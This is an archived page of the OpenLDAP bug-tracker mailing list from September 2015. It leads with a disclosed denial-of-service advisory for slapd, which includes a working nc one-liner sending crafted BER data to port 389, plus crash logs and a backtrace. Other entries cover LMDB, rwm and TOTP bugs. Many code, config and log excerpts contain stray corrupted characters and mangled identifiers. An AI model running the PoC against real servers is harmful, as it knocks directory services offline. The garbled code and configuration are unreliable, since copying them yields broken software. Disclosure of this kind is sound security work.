openldap-bugs

openldap-bugs@openldap.org

1 participants
21065 discussions

(ITS#8240) OpenLDAP ber_get_next denial of service vulnerability
by denis.andzakovic＠security-assessment.com 09 Sep '15

09 Sep '15

Full_Name: Denis Andzakovic Version: 2.4.42 OS: Debian 8 URL: Submission from: (NULL) (2402:6000:110:a01:743b:8319:1f96:bd89) OpenLDAP ber_get_next Denial of Service Affected Versions: OpenLDAP <= 2.4.42 +-------------+ | Description | +-------------+ This document details a vulnerability found within the OpenLDAP server daemon. A Denial of Service vulnerability was discovered within the slapd daemon, allowing an unauthenticated attacker to crash the OpenLDAP server. By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package repository. +--------------+ | Exploitation | +--------------+ By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash with a SIGABRT. This is due to an assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. The following proof of concept exploit can be used to trigger the condition: --[ Exploit POC echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash the server even when running in daemon mode. --[ adadp -d3 55f0b36e slap_listener_activate(7): 55f0b36e >>> slap_listener(ldap:///) 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=8, got=8 0000: ff 84 84 84 84 84 77 83 ......w. 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=1, got=1 0000: 0a . 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next slapd: io.c:682: ber_get_next: Assertion `0' failed. The following GDB back trace provides further information as to the location of the issue. --[ back trace program received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff2e4a700 (LWP 1371)] 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #1 0x00007ffff6a144e8 in __GI_abort () at abort.c:89 #2 0x00007ffff6a0c226 in __assert_fail_base (fmt=0x7ffff6b42ce8 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "r_r_get_next") at assert.c:92 #3 0x00007ffff6a0c2d2 in __GI___assert_fail (assertion=assertion@entry=0x55f280 "0", file=file@entry=0x59bdb1 "io.c", line=line@entry=682, function=function@entry=0x59bf33 <__PRETTY_FUNCTION__.6337> "ber_get_next") at assert.c:101 #4 0x000000000053261a in ber_get_next (sb=0x7fffe40008c0, len=0x7ffff2e49b40, ber=0x7fffe4000a00) at io.c:682 #5 0x0000000000420b56 in connection_input (cri=<optimized out>, conn=<optimized out>) at connection.c:1572 #6 connection_read (cri=<optimiz o out>, s=<optimized out>) at connection.c:1460 #7 connection_read_thread (ctx=0x7ffff2e49b90, argv=0xf) at connection.c:1284 #8 0x000000000050c871 in ldap_int_thread_pool_wrapper (xpool=0x8956c0) at tpool.c:696 #9 0x00007ffff6d8f0a4 in start_thread (arg=0x7ffff2e4a700) at pthread_create.c:309 #10 0x00007ffff6ac404d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111 +----------+ | Solution | +----------+ Ensure that data received from untrusted sources is not able to trigger conditions resulting in the server crashing. In this specific instance, the NDEBUG macro should be defined before the inclusion of assert.h by default, requiring a specific compile time alteration to enable debug. +-------------------------------+A%A| About Security-Assessment.com | +-------------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment com Phone +64 4 470 1650

1 0

Re: (ITS#8209) Broken MDB_CP_COMPACT threading
by h.b.furuseth＠usit.uio.no 08 Sep '15

08 Sep '15

I wrote: > Compacting can verify that the written metapage claims > enough DB pages. But not the opposite - it should not > fail if it claims too many pages since that would mean > we can't compact a DB which has suffered page leaks. Duh, yes the opposite too. If there has been a page leak, the root page number written in the new meta will be wrong. > We could detect that and re-write the metas at the end, > if the user requests it and the file is seekable. Though there's no reliable "is file seekable?" test. lseek() can do nothing but still return success on some devices. Another (user) option: Write a file which requires recovery. We'll need something like that with incremental backups anyway. Write dummy metapages at the beginning, with meta.mm_version indicating the file must be recovered. Write a final metapage at the end, or try to seek and rewrite the beginning if the user says so. Recovery must be a separate program, or in mdb_env_open() when we know the metapage is at the end - i.e. before mapping and maybe expanding the file. -- Hallvard

1 0

Re: (ITS#8114) [WIP] WiredTiger Backend for OpenLDAP
by hamano＠osstech.co.jp 07 Sep '15

07 Sep '15

Thanks for merging. Also I've added LDAP MODIFY. Please merge the patches: https://www.osstech.co.jp/download/hamano/openldap/0007-suppress-warn-messa… https://www.osstech.co.jp/download/hamano/openldap/0008-LDAP-MODIFY-handlin… Thank you. On Thu, 20 Aug 2015 02:16:53 +0900, Howard Chu wrote: > > hamano(a)osstech.co.jp wrote: > > Full_Name: HAMANO Tsukasa > > Version: master > > OS: Linux > > URL: https://www.osstech.co.jp/download/hamano/openldap/0001-OpenLDAP-WiredTiger… > > Submission from: (NULL) (183.77.250.155) > > > > > > The attached patch file is derived from OpenLDAP Software. All of the > > modifications to OpenLDAP Software represented in the following > > patch(es) were developed by HAMANO Tsukasa <hamano(a)osstech.co.jp>. I > > have not assigned rights and/or interest in this work to any party. > > > > Copyright 2015 HAMANO Tsukasa <hamano(a)osstech.co.jp> > > Redistribution and use in source and binary forms, with or without > > modification, are permitted only as authorized by the OpenLDAP Public > > License. > > I've merged patches 0001-0004 and added this to git master. Thanks for > the contribution. > > -- > -- Howard Chu > CTO, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc/ > Chief Architect, OpenLDAP http://www.openldap.org/project/ -- Open Source Solution Technology Corporation HAMANO Tsukasa <hamano(a)osstech.co.jp> fingerprint = 3747 AB70 7B98 7882 46F5 87E1 BF91 A2C1 7DC1 5E3D

1 0

(ITS#8239) back-meta crashes after deleting a rewrite rule
by ryan＠openldap.org 07 Sep '15

07 Sep '15

Full_Name: Ryan Tandy Version: master OS: Debian URL: Submission from: (NULL) (24.68.37.4) Submitted by: ryan Deleting rewrite rules from a back-meta target is not implemented correctly. Deleting a single value (vs the entire attribute) isn't checked for, the entire rewrite_info and list of saved rules is always freed. Then meta_back_conn_destroy doesn't notice the rewrite_session has already been cleaned up, and tries to free it again.

1 0

Re: (ITS#7964) overlay rwm escape issue with more the 9 rules / rewrite statements
by Ryan Tandy 06 Sep '15

06 Sep '15

Uwe Werler wrote: > If I have rewrite rules like this: > > 23 olcOverlay={1}rwm,olcDatabase={3}hdb,cn=config > objectClass: olcOverlayConfig > objectClass: olcRwmConfig > olcOverlay: {1}rwm > olcRwmRewrite: {0}rwm-rewriteEngine on > olcRwmRewrite: {1}rwm-rewriteContext searchFilter > olcRwmRewrite: {2}rwm-rewriteRule "(.*\$)uid=sapr3(\$.*)" "$1d%d=dlmsapr3$2" > olcRwmRewrite: {3}rwm-rewriteRule "(.*\$)uid=sdb(\$.*)" "$1uid=sdb$2" > olcRwmRewrite: {4}rwm-rewriteRule > "(.*\$)uid=sapadm(\$.*)" "$1uid=dlmsapadm$2" > olcRwmRewrite: {5}rwm-rewriteRule "(.*\$)uid=sapmnt(\$.*)" "$1uid=sapmnt$2" > olcRwmRewrite: {6}m-m-rewriteRule "(.*\$)uid=[a-z0-9]{3}adm(\$.*)" > "$1uid=dlmsidadm$2" > olcRwmRewrite: {7}rwm-rewriteRule "(.*\$)uid=sqd[a-z0-9]{3}(\$.*)" > "$1uid=dlmsqdsid$2" > olcRwmRewrite: {8}rwm-rewriteRule "(.*\$)uid=ora[a-z0-9]{3}(\$.*)" > "$1uid=dlmorasid$2" > olcRwmRewrite: {9}rwm-rewriteRule "(.*\$)uid=sap[a-z0-9]{3}(\$.*)" > "$1uid=dlmsapr3$2" > olcRwmRewrite: {10}rwm-rewriteRule "(.*\$)uid=sap[a-z0-9]{3}db(\$.*)" > "$1uid=dlmsapr3db$2" > olcRwmRewrite: {11}rwm-rewriteRule "(.*\$)uid=db2[a-z0-9]{3}(\$.*)" > "$1uid=dlmdb2sid$2" > olcRwmRewrite: {12}rwm-rewriteRule "(.*\$)uid=db2[a-z0-9]{3}ap(\$.*)" > "$1uid=dlmdb2sid$2" > > then the ninth rule / statent f failes to escape. In this example ora*** get's > not correctly rewritten d dlmora***: See loglevel trace: > > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=sapr3($.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=sdb($.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=sapadm($.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=sapmnt($.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=[a-z0-9]{3}adm($.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=sqd[a-z0-9]{3}($.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*\$)uid=ora[a-z0-9]{3}(\$.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=sap[a-z0-9]{3}($.2929' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=sap[a-z0-9]{3}db($.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=db2[a-z0-9]{3}($.*)' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > 543b711d ==> rewrite_rule_apply rule='(.*$)uid=db2[a-z0-9]{3}a28%5$.*' > string='(&(objectClass=dynamicObject)(entryExpireTimestamp<=20141013062840Z))' > [1 pass(es)] > > If I insert a dummy statement like this: > > olcRwmRewrite: {0}rwm-rewriteEngine on > olcRwmRewrite: {1}rwm-rewriteContext searchFilter > olcRwmRewrite: {2}rwm-rewriteRule "(.*\$)uid=sapr3(\$.*)" "$1uid=dlmsapr3$2" > olcRwmRewrite: {3}rwm-rewriteRule "(.*\$)uid=sdb(\$.*)" "$1uid=sdb$2" > olcRwmRewrite: {4}rwm-rewriteRule "(.*\$)uid=sapadm(\$.*)" > "$1uid=dlmsapadm$2" > olcRwmRewrite: {5}rwm-rewriteRule "(.*\$)uid=sapmnt(\$.*)" "$1uid=sapmnt$2" > olcRwmRewrite: {6}rwm-rewriteRule "(.*\$)uid=[a-z0-9]{3}adm(\$.*)" > "$1uid=dlmsidadm$2" > olcRwmRewrite: {7}rwm-rewriteRule "(.*\$)uid=sqd[a-z0-9]{3}(\$.*)" E E "$1uid=dlmsqdsid$2" > olcRwmRewrite: {8}rwm-rewriteRule "(.*\$)uid=ora[a-z0-9]{3}(\$.*)" > "$1uid=dlmorasid$2" > olcRwmRewrite: {9}rwm-rewriteContext placeHolder alias searchFilter > olcRwmRewrite: {10}rwm-rewriteRule "(.*\$)uid=sap[a-z0-9]{3}(\C%C).*)" > "$1uid=dlmsapr3$2" > olcRwmRewrite: {11}rwm-rewriteRule "(.*\\()uid=sap[a-z0-9]{3}db(\$.*)" > "$1uid=dlmsapr3db$2" > olcRwmRewrite: {12}rwm-rewriteRule "(.*\$)uid=db2[a-z0-9]{3}(\$.*)" > "$1uid=dlmdb2sid$2" > olcRwmRewrite: {13}rwm-rewriteRule "(.*\$)uid=db2[a-z0-9]{3}ap(\$.*)" > "$1uid=dlmdb2sid$2" > > then the escapes are working properly. > > Sometimes this occurs with the last rule too. It seems to me that this happens with the rule most recently inserted. If slapd was recently restarted, this would be the last rule in the list. The parsing rules are slightly different for slapd.conf vs ldif. Notable is that ldif parsing does not perform escape processing. So this slapd.conf line: rwm-rewriteRule "(.*\$)uid=sapr3(\$.*)" "$1uid=dlmsapr3$2" should actually correspond to this cn=config attribute: olcRwmRewrite: rwm-rewriteRule "(.*$)uid=sapr3($.*)" "$1uid=dlmsapr3$2" This is exactly the output of conversion with, for example, slaptest -f slapd.conf -F slapd.d. When a new rwm rule is added, existing rules are reloaded. The bug is that the existing rules were being passed through the slapd.conf line processor, which dropped backslashes on the way, while the rule actually being inserted was passed to the rewrite routines untouched. Fixed in git master by removing the extra escaping on insert. You will have to adjust your rules to use a single backslash instead of two. (bonus: rwm is needlessly reloading existing rules when appending with valx >= last, while it could be

1 0

(ITS#8238) mdb_cursor_put() returns inconsistent xcursor
by h.b.furuseth＠usit.uio.no 06 Sep '15

06 Sep '15

Full_Name: Hallvard B Furuseth Version: LMDB 0.9.16 OS: Linux x86_64 URL: ftp://ftp.openldap.org/incoming/Hallvard-Furuseth-150906.diff Submission from: (NULL) (81.191.45.5) Submitted by: hallvard Replace printf("oops!\n") with mdb_cassert(mc, 0) in cursor_chk(). Add if (!rc && mc->mc_xcursor) mdb_cursor_chk(&mc->mc_xcursor->mx_cursor); just before mdb_cursor_put() returns rc above "bad_sub:". Diff for this enclosed. $ make -s clean test CPPFLAGS="-DMDB_DEBUG" $ ./mtest4 mdb.c:1500: Assertion '0' failed in mdb_cursor_chk()

1 0

Re: (ITS#8237) Crash with MDB_MAXKEYSIZE=1500
by h.b.furuseth＠usit.uio.no 06 Sep '15

06 Sep '15

I wrote: > Assertion 'NUMKEYS(mp) > 1' failed in mdb_page_search_root(): The paste got munged. Test program at <ftp://ftp.openldap.org/incoming/Hallvard-Furuseth-150906.c>.

1 0

(ITS#8237) Crash with MDB_MAXKEYSIZE=1500
by h.b.furuseth＠usit.uio.no 06 Sep '15

06 Sep '15

Full_Name: Hallvard B Furuseth Version: LMDB 0.9.10-0.9.15 OS: Linux x86_64 URL: Submission from: (NULL) (81.191.45.5) Submitted by: hallvard Assertion 'NUMKEYS(mp) > 1' failed in mdb_page_search_root(): #define MDB_MAXKEYSIZE 1500 #include "mdb.c" #include "midl.c" int main(void) { MDB_dbi dbi; MDB_env *env; MDB_txn *txn; int i, rc =DMDB_SUCCESS; mdb_env_create(&env); mdb_env_open(env, "./testdb", MDB_WRITEMAP, 0664); mdb_txn_begin(env, NULL, 0, &txn); mdb_dbi_open(txn, NULL, 0, &dbi); for (i = 0; i < 6 && !rc; i++) { static char buf[1600] = "340215"; DB_v_val key = {1500, buf+i}, data = {500, buf}; mdb_put(txn, dbi, &key, &data, 0); } mdb_txn_abort(txn); mdb_env_close(env); return rc; } Broken by 34459e05856619e8 "ITS#7589 another mdb_page_split fix".

1 0

Re: (ITS#8230) [new PATCHes] totp: bug fixes and improvements
by peter＠adpm.de 06 Sep '15

06 Sep '15

Hi, Please have a look at the improved patch series in https://github.com/marschap/openldap/commits/contrib-totp3 and https://github.com/marschap/openldap/commits/contrib-totp4 They try to address the issues in the previous versions Changes: * contrib/passwd/totp: fix the big-endian case, support 32-bit archs Use memcpy for the WORDS_BIGENDIAN case [much simpler] Use uint64_t for same results in 32- and 64-bit cases * contrib/passwd/totp: support compiling using nettle Fix the botched previous patch. The two branches differ only in that patch, giving the following alternatives: - contrib-totp3 continues to use the HMAC_... macros It still requires the #if...#else...#endif to harmonize the setup in do_hmac() - contrib-totp4 gets rid of the HMAC_... macros It uses the different implementations directly in do_hmac() Of course separated by #if...#else..#endif Functionally both patches are equivalent: in my tests they yield the same results for OpenSSL and GnuTLS. Best PEter -- Peter Marschall peter(a)adpm.de

1 0

Re: (ITS#7889) rwm overlay causes incorrect acl parsing
by ryan＠nardis.ca 05 Sep '15

05 Sep '15

michael(a)stroeder.com wrote: >But could you please check whether this setting helps: > >rwm-drop-unrequested-attrs no It does. This is another case of ITS#6057; the ACL filter can only be evaluated if the filter attribute is included in those passed through by rwm, otherwise it is just skipped. The larger issue (should ACL evaluation assume the whole entry is available?) seems to still be unaddressed. I don't understand yet why rwm filters the attributes on its own by default, but I'm sure there's a reason. alexoz66(a)gmail.com wrote: >modifying entry "olcOverlay={0}rwm,olcDatabase={1}mdb,cn=config" >ldap_modify: Object class violation (65) > additional info: attribute 'olcRwmDropUnrequested' not allowed > >Looking at the schema it seems that the attribute olcRwmDropUnrequested >is not part of the olcRwmConfig object class (or any other object class >for that matter). This is fixed in git master now.

1 0

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs